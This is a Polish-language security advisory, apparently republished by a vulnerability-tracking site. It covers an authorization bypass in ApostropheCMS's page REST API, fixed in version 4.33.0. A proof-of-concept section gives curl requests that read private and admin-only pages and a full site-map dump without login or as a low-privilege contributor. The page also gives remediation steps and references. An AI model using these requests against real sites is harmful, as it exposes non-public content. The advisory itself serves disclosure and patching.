ApostropheCMS: Pominięcie autoryzacji w API REST stron
Podsumowanie
Główne API REST stron odczytuje pełne dokumenty stron za pomocą .permission(false) w getOne oraz w zrzucie drzewa all=1, pomijając kontrole typu strony viewRole, visibility: private oraz visibility: loginRequired. Nieuwierzytelnieni użytkownicy oraz współpracownicy o niskich uprawnieniach mogą odczytywać treści stron przeznaczone tylko dla administratorów oraz niepubliczne za pomocą _id/slug.
Szczegóły
packages/apostrophe/modules/@apostrophecms/page/index.js:
getOne(L456–465):await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)— brak proguviewRole, brak filtrowaniavisibility.- Procedura obsługi
all(L318–395):getRestQuery(req).permission(false)(L384–385) analizuje każdy typ strony i zwraca projekcję zawierającąvisibility. publicApiCheckAsync(L3044) sprawdza jedynie, czypublicApiProjectionistnieje — nie wykonuje autoryzacji.- Prawidłowa kontrola działa inaczej:
piece-type/index.js:getOne(L319–327) używagetRestQuery(req)bez.permission(false)i wymuszaviewRole.
PoC
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}
# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree
# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
Wpływ
Nieuwierzytelnione ujawnienie stron visibility: private i loginRequired (pełne dokumenty, nie tylko ścieżki) oraz kompletnej struktury witryny wraz z metadanymi widoczności/typu; współpracownicy mogą odczytywać typy stron dostępne tylko dla administratorów oraz ich chronione pola. Ponieważ _id są możliwe do wyliczenia i wyciekają przez all=1, problem ma charakter systemowy.
Co trzeba zrobić
Zaktualizuj ApostropheCMS do wersji 4.33.0 lub nowszej.
Alternatywnie usuń .permission(false) z getOne/all lub ponownie zastosuj próg typu viewRole wraz z tymi samymi kryteriami visibility/wymaganego logowania, z których korzystają ścieżki listy i autouzupełniania (odwzorowując piece-type); zmień publicApiCheck tak, aby sprawdzało tylko obecność konfiguracji i dodaj jawny krok autoryzacji dla każdego czasownika.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.33.0 | 4.33.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Słabość (CWE)
CWE-863- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 21:36
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-2j32-q6rx-h844 - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 27
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 8
- Średnia 13
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Pominięcie autoryzacji w API REST stron ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.